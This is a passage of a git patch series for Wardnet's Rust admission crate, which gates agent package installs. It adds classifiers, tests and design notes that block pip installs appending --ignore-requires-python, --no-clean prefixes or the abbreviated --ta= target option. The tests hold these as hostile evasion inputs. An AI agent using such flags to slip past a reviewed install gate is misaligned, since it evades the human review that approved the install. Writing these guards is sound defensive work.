a/crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_requires_python_authority_contract.rs @@ -15,9 +15,7 @@ fn approved_direct_pip_install_cannot_disable_requires_python_compatibility() { ); let mut hostile = control_intent; - hostile - .argv - .push("--ignore-requires-python".to_string()); + hostile.argv.push("--ignore-requires-python".to_string()); let decision = admission_decision(&policy, &hostile); assert_eq!( From 58cfe721451f303e036ad6f1cdc7b891f267bdba Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 04:07:25 +0900 Subject: [PATCH 448/702] fix(admission): preserve Requires-Python compatibility safety --- .../src/pypi_requires_python_authority.rs | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_requires_python_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_requires_python_authority.rs b/crates/agent-artifact-admission/src/pypi_requires_python_authority.rs new file mode 100644 index 00000000..14cba641 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_requires_python_authority.rs @@ -0,0 +1,78 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install explicitly disables publisher-declared +/// `Requires-Python` compatibility enforcement. +pub(crate) fn requests_pypi_requires_python_override(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + matches!(executable, "pip" | "pip3") + && arguments + .first() + .is_some_and(|argument| argument == "install") + && arguments + .iter() + .skip(1) + .any(|argument| argument == "--ignore-requires-python") +} + +#[cfg(test)] +mod tests { + use super::requests_pypi_requires_python_override; + use crate::{ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind}; + + #[test] + fn direct_pip_matches_only_the_canonical_compatibility_override() { + for executable in ["pip", "pip3"] { + assert!(requests_pypi_requires_python_override(&intent_with_argv( + executable, + vec!["install", "pkg==1", "--ignore-requires-python"] + ))); + assert!(!requests_pypi_requires_python_override(&intent_with_argv( + executable, + vec!["install", "pkg==1", "--ignore-requires-python-extra"] + ))); + } + + assert!(!requests_pypi_requires_python_override(&intent_with_argv( + "uv", + vec!["pip", "install", "pkg==1", "--ignore-requires-python"] + ))); + assert!(!requests_pypi_requires_python_override(&intent_with_argv( + "pip", + vec!["download", "pkg==1", "--ignore-requires-python"] + ))); + } + + fn intent_with_argv(executable: &str, arguments: Vec<&str>) -> InstallIntent { + let mut argv = vec![executable.to_string()]; + argv.extend(arguments.into_iter().map(str::to_string)); + InstallIntent { + request_id: "req-requires-python-unit".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "pkg".to_string(), + version: "1".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "owner".to_string(), + sha256: + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + .to_string(), + artifact_argument: "pkg==1".to_string(), + }], + } + } +} From 3be13e461db788a14fb401101eb00078277d650c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 04:07:51 +0900 Subject: [PATCH 449/702] fix(admission): enforce Requires-Python safety selector --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index a286c32f..6af03926 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -23,6 +23,7 @@ mod pypi_log_output_authority; mod pypi_noninteractive_authority; mod pypi_proxy_authority; mod pypi_registry_authority; +mod pypi_requires_python_authority; mod pypi_system_package_authority; mod uv_configuration_authority; mod uv_link_mode_authority; @@ -212,6 +213,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_requires_python_authority::requests_pypi_requires_python_override(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } if pypi_system_package_authority::requests_pypi_system_package_override(intent) { if !decision .reason_codes From 63c7458bc1993dd321a880177a33d0288fdef5e6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 04:08:51 +0900 Subject: [PATCH 450/702] style(admission): format Requires-Python authority --- .../src/pypi_requires_python_authority.rs | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_requires_python_authority.rs b/crates/agent-artifact-admission/src/pypi_requires_python_authority.rs index 14cba641..fed8c2c0 100644 --- a/crates/agent-artifact-admission/src/pypi_requires_python_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_requires_python_authority.rs @@ -55,8 +55,8 @@ mod tests { workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), argv, - manifest_sha256: - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), source: InstructionSource { kind: InstructionSourceKind::ReviewedConfig, uri: None, @@ -68,9 +68,8 @@ mod tests { version: "1".to_string(), registry_url: "https://pypi.org/simple".to_string(), owner: "owner".to_string(), - sha256: - "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" - .to_string(), + sha256: "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + .to_string(), artifact_argument: "pkg==1".to_string(), }], } From bda53128beb22953c9ec0c0f719a60cdd401e89a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 04:10:58 +0900 Subject: [PATCH 451/702] docs(admission): trace Requires-Python safety authority --- .../pypi-requires-python-authority.md | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 docs/doctoring/pypi-requires-python-authority.md diff --git a/docs/doctoring/pypi-requires-python-authority.md b/docs/doctoring/pypi-requires-python-authority.md new file mode 100644 index 00000000..41a4edc2 --- /dev/null +++ b/docs/doctoring/pypi-requires-python-authority.md @@ -0,0 +1,51 @@ +# PyPI Requires-Python compatibility authority + +## Decision + +Wardnet Agent Artifact Admission rejects a direct `pip` or `pip3 install` intent that adds canonical `--ignore-requires-python`. The reviewed artifact receipt authorizes the exact package coordinate and installer intent; it does not authorize the caller to disable publisher-declared Python compatibility enforcement while retaining the same admission identity. + +The classifier is deliberately syntactic and bounded to supported direct pip installs. Wardnet does not inspect the effective interpreter, resolve package metadata, execute pip, select another Python runtime, or decide whether the package would actually run in the target environment. + +## Problem and threat + +At exact upstream `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/cli/cmdoptions.py` defines canonical `--ignore-requires-python` as a Boolean install option whose documented behavior is `Ignore the Requires-Python information`. `InstallCommand.run` forwards `options.ignore_requires_python` to resolver construction, so the option changes how pip treats the distribution metadata compatibility requirement. + +Python Core Metadata defines `Requires-Python` as the distribution field that declares the Python version requirement. An otherwise reviewed request can therefore preserve the approved ecosystem, name, version, registry, owner, hash, manifest and hash/dependency safety flags while explicitly asking the installer to disregard a publisher compatibility constraint. + +Before this repair, Wardnet had no dedicated classifier for that selector. Because the option starts with `-`, the existing positional artifact checks did not make the explicit compatibility override causal to a denial. + +## Executed RED + +Test-only exact `3ae6fcddc633053729673713853835e9f64c1a1b` is based on canonical Agent Artifact Admission parent `#129@22c50d886d9e2ed8f5c376bacff8ec1f8a0d5b6c`; production source is byte-identical to the parent. + +Hosted CI run `34636878079`, rust job `103386810988`, acquired a GitHub-hosted Ubuntu 24.04 runner and completed checkout, pinned Rust toolchain and `cargo fmt --check`. The workspace test step then reached the new hostile contract and failed because the direct-pip request containing `--ignore-requires-python` returned `Allow` where the contract requires `Block`. The exact approved control remains required to return `Allow`, making the failure causal to the added compatibility override rather than bootstrap, formatting, artifact-cardinality or command-path noise. + +## Minimum causal repair + +The repair adds one crate-private direct-pip classifier and maps the canonical selector to the existing stable `missing_safety_flag` reason. It preserves the other package-manager grammars independently and introduces no interpreter discovery, package resolution or runtime mutation. + +This slice recognizes only the canonical exact spelling. Pip long-option abbreviation behavior is not inferred here: expanding the accepted spelling family requires separate verification against the pinned parser and complete contemporaneous option set rather than broad prefix matching. + +## Ownership boundary + +Wardnet owns the pre-execution policy decision that a reviewed install intent cannot silently expand into a request to disable package-manager compatibility protection. `quarantine-sandbox-runtime` remains canonical owner of effective runtime filesystem, mount, privilege, resource, interpreter and hostile-execution isolation. EgressWeave remains canonical owner of executable outbound network authorization. AppGuardrail remains canonical owner of static package/security analysis. + +Accordingly, Wardnet rejects the explicit selector but does not assert that a particular package is compatible or incompatible, does not select or install an interpreter, and does not turn package metadata into runtime authority. + +## Alternatives considered + +Allowing the override and relying only on runtime isolation was rejected because the admission receipt would still authorize installer semantics absent from the reviewed intent. Inferring compatibility by inspecting the local interpreter or downloaded distribution was rejected because it would duplicate executor/package-analysis authority and make an ambient runtime state part of a deterministic admission decision. Broad matching of abbreviated long options was rejected in this slice because the accepted abbreviation language depends on pip's complete parser option set and therefore requires its own pinned-parser proof. + +## Verification contract + +Exact approved direct `pip` and `pip3` installs with the reviewed artifact, `--require-hashes`, `--no-deps` and `--no-input` remain `Allow`. Adding canonical `--ignore-requires-python` must return `Block` with exactly `missing_safety_flag`. A suffix such as `--ignore-requires-python-extra`, the same token under `uv pip install`, and non-install direct pip commands do not match this classifier. + +Every source or doctoring change invalidates predecessor workflow evidence. Integration requires exact-current formatting, locked workspace tests, strict Clippy, Fuzz, fresh review/thread inventory and ordinary expected-head merge into canonical Agent Artifact Admission before protected-main consideration. Issue #331 remains open until the effective delta reaches protected `main` or a verified complete successor. + +## Traceability + +- Python Packaging Authority. (2026). *pip command options* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). `src/pip/_internal/cli/cmdoptions.py` defines `--ignore-requires-python`; `src/pip/_internal/commands/install.py` forwards the option to resolver construction. GitHub. +- Python Packaging Authority. (2026). *Core Metadata Specifications: Requires-Python*. Python Packaging User Guide. The field declares the Python version requirement for a distribution. +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 +- MITRE. (2025). *CWE-693: Protection Mechanism Failure*. Common Weakness Enumeration. +- Wardnet issue #331 and Draft PR #332 retain the hostile RED, causal repair, exact-current verification and protected-main adoption criteria. From 4ca6ddb7252461c2f421cf4b0e1bd56ed6d01b16 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:00:52 +0900 Subject: [PATCH 452/702] test(admission): prove pip no-clean retention gap --- .../tests/pypi_no_clean_authority_contract.rs | 98 +++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_no_clean_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_no_clean_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_no_clean_authority_contract.rs new file mode 100644 index 00000000..05db251c --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_no_clean_authority_contract.rs @@ -0,0 +1,98 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_direct_pip_install_cannot_disable_build_directory_cleanup() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding build-directory retention authority" + ); + + for no_clean_option in ["--no-cl", "--no-cle", "--no-clea", "--no-clean"] { + let mut hostile = control_intent.clone(); + hostile.argv.push(no_clean_option.to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {no_clean_option} asks pip to retain build directories outside reviewed artifact authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "{executable} {no_clean_option} must carry stable alternate_install_root evidence; got {:?}", + decision.reason_codes + ); + } + + let mut ambiguous = control_intent.clone(); + ambiguous.argv.push("--no-c".to_string()); + let ambiguous_decision = admission_decision(&policy, &ambiguous); + assert_eq!( + ambiguous_decision.decision, + DecisionKind::Allow, + "Wardnet must not invent ambiguous pip optparse prefix --no-c as --no-clean" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-12.no-clean-red".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-no-clean-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 994373eeec6d6d85804ac3713ab010a1f1589aef Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:02:55 +0900 Subject: [PATCH 453/702] fix(admission): reject pip build-directory retention --- ...ypi_build_directory_retention_authority.rs | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs b/crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs new file mode 100644 index 00000000..f4e28227 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs @@ -0,0 +1,67 @@ +use crate::InstallIntent; + +/// Return whether direct pip asks to retain build directories after the +/// installer operation rather than using pip's normal cleanup behavior. +/// +/// Wardnet classifies only the caller-selected argv authority. Effective +/// temporary-directory placement, filesystem isolation, and final cleanup stay +/// owned by the quarantine runtime. +pub(crate) fn requests_unapproved_pypi_build_directory_retention( + intent: &InstallIntent, +) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(1) + .any(|argument| matches_pip_no_clean_option(argument)) +} + +/// Direct pip uses Python optparse long-option abbreviation semantics. On the +/// pinned option surface `--no-c` is ambiguous, while `--no-cl` uniquely +/// selects canonical `--no-clean`. +fn matches_pip_no_clean_option(argument: &str) -> bool { + argument.len() >= "--no-cl".len() && "--no-clean".starts_with(argument) +} + +#[cfg(test)] +mod tests { + use super::matches_pip_no_clean_option; + + #[test] + fn no_clean_matcher_is_bounded_to_verified_unambiguous_prefixes() { + for argument in ["--no-cl", "--no-cle", "--no-clea", "--no-clean"] { + assert!( + matches_pip_no_clean_option(argument), + "verified direct-pip no-clean spelling must be classified: {argument}" + ); + } + + for argument in [ + "--no-c", + "--no-co", + "--no-clean=false", + "--no-cleaner", + "--no-input", + "--no-deps", + ] { + assert!( + !matches_pip_no_clean_option(argument), + "ambiguous, assigned, or unrelated argv must not gain no-clean semantics: {argument}" + ); + } + } +} From 4d8cc561aaf8eb7c7dc01b5c99182999805713dd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:03:15 +0900 Subject: [PATCH 454/702] fix(admission): wire pip build retention guard --- crates/agent-artifact-admission/src/lib.rs | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 6af03926..f4ed38b3 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -10,6 +10,7 @@ mod dependency_cardinality; mod http; mod oci_transport; mod policy; +mod pypi_build_directory_retention_authority; mod pypi_cache_directory_authority; mod pypi_certificate_store_authority; mod pypi_client_certificate_authority; @@ -91,6 +92,17 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_build_directory_retention_authority::requests_unapproved_pypi_build_directory_retention( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision.reason_codes.push(ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } if pypi_cache_directory_authority::requests_unapproved_pypi_cache_directory_authority(intent) { if !decision .reason_codes From 3ca90c72e4ddcd9c9c9607343d4ac1a242d7f92a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:14:19 +0900 Subject: [PATCH 455/702] style(admission): apply rustfmt to pip retention guard --- .../src/pypi_build_directory_retention_authority.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs b/crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs index f4e28227..43195012 100644 --- a/crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs @@ -6,9 +6,7 @@ use crate::InstallIntent; /// Wardnet classifies only the caller-selected argv authority. Effective /// temporary-directory placement, filesystem isolation, and final cleanup stay /// owned by the quarantine runtime. -pub(crate) fn requests_unapproved_pypi_build_directory_retention( - intent: &InstallIntent, -) -> bool { +pub(crate) fn requests_unapproved_pypi_build_directory_retention(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; From 2e4214ad1ad222a5de15dd4828c1f7c03ea6e047 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:17:23 +0900 Subject: [PATCH 456/702] docs(admission): trace pip build retention authority --- ...ypi-build-directory-retention-authority.md | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 docs/doctoring/pypi-build-directory-retention-authority.md diff --git a/docs/doctoring/pypi-build-directory-retention-authority.md b/docs/doctoring/pypi-build-directory-retention-authority.md new file mode 100644 index 00000000..2d767682 --- /dev/null +++ b/docs/doctoring/pypi-build-directory-retention-authority.md @@ -0,0 +1,51 @@ +# PyPI build-directory retention authority + +## Decision + +Wardnet Agent Artifact Admission rejects a direct `pip` or `pip3 install` intent when the caller selects pip's build-directory retention option through canonical `--no-clean` or a verified unambiguous long-option prefix beginning at `--no-cl`. + +This is an argv-authority decision only. Wardnet does not choose the temporary directory, inspect retained build trees, delete filesystem content, or infer whether cleanup actually occurred. Effective workspace placement, filesystem isolation, lifecycle cleanup and recovery remain owned by `quarantine-sandbox-runtime`. + +## Problem and threat + +The reviewed artifact receipt authorizes a bounded installer intent. Pip's `--no-clean` changes installer cleanup behavior by retaining build directories that normal operation would remove. Allowing the caller to add that selector after review expands filesystem-retention authority without changing the approved package coordinate, digest or manifest identity. + +At the pinned pip parser surface recorded by issue #335, direct pip uses Python `optparse` long-option abbreviation semantics. `--no-c` is ambiguous in the contemporaneous option set, while `--no-cl` uniquely selects `--no-clean`. The admission language therefore recognizes only the verified family `--no-cl`, `--no-cle`, `--no-clea`, and `--no-clean`; it does not use a broad prefix heuristic. + +## Executed hostile RED + +Test-only exact `4ca6ddb7252461c2f421cf4b0e1bd56ed6d01b16` was based on canonical Agent Artifact Admission parent `#129@a341f70d9629511c0fba0f8b5a7e042f26549f37`; production policy bytes were unchanged. + +Hosted CI run `34641939332`, rust job `103403554979`, acquired a GitHub-hosted Ubuntu 24.04 runner, checked out the PR merge candidate, passed `cargo fmt --check`, and reached the locked workspace tests. The hostile contract failed on the first verified parser spelling: direct `pip install ... --no-cl` returned `Allow` where policy requires `Block`. The exact reviewed direct-pip control remained part of the same contract, so the failure is causal to the added retention authority rather than bootstrap or unrelated policy behavior. + +## Minimum causal repair + +The production repair adds one crate-private direct-pip classifier and wires it into the existing admission decision. A matching request is blocked with the stable `alternate_install_root` reason. The classifier requires exact `pip` or `pip3`, the `install` command, and one of the verified no-clean spellings. Ambiguous, assigned or unrelated tokens such as `--no-c`, `--no-co`, `--no-clean=false`, `--no-cleaner`, `--no-input`, and `--no-deps` do not gain no-clean semantics. + +No pip execution, filesystem probing, temporary-directory selection, package analysis, network authorization, source copy, cross-service SQL or foreign runtime policy was introduced. + +## Ownership boundary + +Wardnet owns the pre-execution security-policy verdict that a reviewed install intent cannot gain unreviewed build-directory retention authority. `quarantine-sandbox-runtime` remains canonical owner of effective filesystem, mount, privilege, resource, ephemeral-workspace and cleanup behavior. EgressWeave remains canonical owner of outbound execution/network authorization. AppGuardrail remains canonical owner of static package/security analysis. Contextual Orchestrator remains canonical owner of LLM orchestration and provider/model execution policy. + +This boundary follows least-authority design: Wardnet can deny the explicit caller request without becoming the executor or claiming facts about the resulting filesystem. + +## Alternatives considered + +Allowing `--no-clean` and relying only on sandbox cleanup was rejected because the reviewed admission would still authorize installer semantics that were not present in the reviewed intent. Inspecting or deleting retained directories inside Wardnet was rejected because it duplicates quarantine runtime ownership and makes the admission decision depend on mutable execution state. Matching every `--no-c*` prefix was rejected because Python `optparse` resolves only unique prefixes and the contemporaneous pip option set makes shorter prefixes ambiguous. + +## Verification and integration contract + +Exact approved direct `pip` and `pip3` installs remain `Allow`. Each verified `--no-clean` spelling must return `Block` with `alternate_install_root`; ambiguous `--no-c` remains a negative control. Every source or doctoring change invalidates predecessor GREEN evidence. + +Stacked feature-branch children are proved by Wardnet-owned CI/Fuzz on the exact child head. Organization ruleset `18156473` applies the central Security Scan, SAST, review and CodeQL workflows to the protected default-branch integration path; those gates must be reacquired on canonical Agent Artifact Admission #129 after ordinary expected-head child integration and before protected-main merge. Child evidence is never promoted to protected-main evidence. + +Issue #335 remains open until this delta reaches protected `main` or a verified complete successor. + +## Traceability + +- Python Software Foundation. (2026). *optparse — Parser for command line options*. Python documentation. Long options may be abbreviated only when the prefix is unambiguous. +- Python Packaging Authority. (2026). *pip command options* at the pinned source revision recorded in Wardnet issue #335. The install option surface defines `--no-clean` as the caller control for retaining build directories. +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 +- MITRE. (2025). *CWE-459: Incomplete Cleanup*. Common Weakness Enumeration. +- Wardnet issue #335 and Draft PR #336 retain the parser proof, hostile RED, repair lineage and exact-head integration evidence. From faa98040b223393c75901fe77c086c1af6bcc6bb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:31:03 +0900 Subject: [PATCH 457/702] test(admission): prove pip target abbreviation escape --- ..._target_abbreviation_authority_contract.rs | 100 ++++++++++++++++++ 1 file changed, 100 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs new file mode 100644 index 00000000..a4684664 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs @@ -0,0 +1,100 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_direct_pip_install_cannot_select_target_through_optparse_abbreviation() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding target authority" + ); + + let mut hostile = control_intent.clone(); + hostile + .argv + .push("--ta=/tmp/wardnet-pip-target".to_string()); + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --ta=... is pip's accepted unambiguous --target prefix and must not escape the reviewed install root" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "{executable} --ta=... must carry stable alternate_install_root evidence; got {:?}", + decision.reason_codes + ); + + let mut ambiguous = control_intent.clone(); + ambiguous + .argv + .push("--t=/tmp/wardnet-pip-target".to_string()); + let ambiguous_decision = admission_decision(&policy, &ambiguous); + assert_eq!( + ambiguous_decision.decision, + DecisionKind::Allow, + "Wardnet must not invent ambiguous pip optparse prefix --t as --target" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-12.target-abbreviation-red".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-target-abbreviation-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 6c494569e58cb41bab8b2d554def59c5258f278b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 05:32:08 +0900 Subject: [PATCH 458/702] style(admission): format pip target abbreviation RED --- .../tests/pypi_target_abbreviation_authority_contract.rs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs index a4684664..44a378be 100644 --- a/crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_target_abbreviation_authority_contract.rs @@ -61,8 +61,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From b8d7ca20c8ad02e518287636da3eb27b2841ccaa Mon Sep 17 00:00:00 2001 From: Seongho Bae 